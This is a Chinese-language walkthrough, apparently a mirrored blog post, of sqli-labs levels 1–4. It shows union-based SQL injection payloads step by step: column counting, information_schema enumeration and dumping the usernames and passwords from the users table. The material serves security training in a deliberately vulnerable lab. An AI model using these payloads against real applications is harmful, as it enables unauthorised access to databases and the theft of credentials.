sql-labs(1~4关)
source link: https://bvxie.github.io/2022/02/13/sql-labs(1~4%E5%85%B3)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
什么是sql-labs?
SQL 注入(SQL Injection) 是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息
推荐一个视频【转载】SQL注入、SSTI&Docker逃逸 HTB CTF -GoodGame-哔哩哔哩
Less-1,2
这两个知识点,都没差…
网上查询得Pass-01基于单引号的SQL注入,Pass-02基于整数的注入
判断是否存在注入
用get传值id=1,随后能看到网页出现变化
尝试,?id=1 and 1=2…无变化。
判断字段数
使用 order by 查询所有字段,从1开始直到4,发现3正常,但是4的页面异常(存在三个字段)
union select判断显错位(回显)
输入,?id=1’union select 1,2,3– zaa,显示了前面的结果,
1,2,3:仅仅相当于占了三个位置(先前order by 查询为3),所以用什么表示均可。
库名和登录用户名
将2的位置换为**database()**,显示当前页面数据库库名:security。
user()顶替3的位置,为当前的登录用户名。
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’– zaa
table_name:代表表名
–
information_schema藏有自带的数据库
table_schema字面指库名
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’ limit 1,1– zaa
即…?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’ limit 2,1– zaa
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=’security’ and table_name=’emails’– zaa
emails:可根据表进行替换
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=’security’ and table_name=’referers’– zaa
?id=15’union select 1,id,3 from emails– zaa
快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)
将2的位置换为**database()**,显库名:security。
参考文章…
数据库库名后再爆破数据库,使用 ?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 –+
?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails‘),3 –+
emails:可根据表进行替换
格式?id=0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 –+
0x7e应该是个站位的…,其位置也可为表名对应的列名,观察02,03
?id=0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 –+ 进行爆破,得到以下内容。
?id=0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 –+ 进行爆破,得到以下内容。
?id=0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 –+ 进行爆破,得到以下内容
Less-3
查看源码…发现被框了。不会被当做代码,从而使代码失效。
判断是否存在注入:?id=1')and 1=1-- za |
Less-4
由图与03相比单引变成了双引号…
判断是否存在注入:?id=1")and 1=1-- za |
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK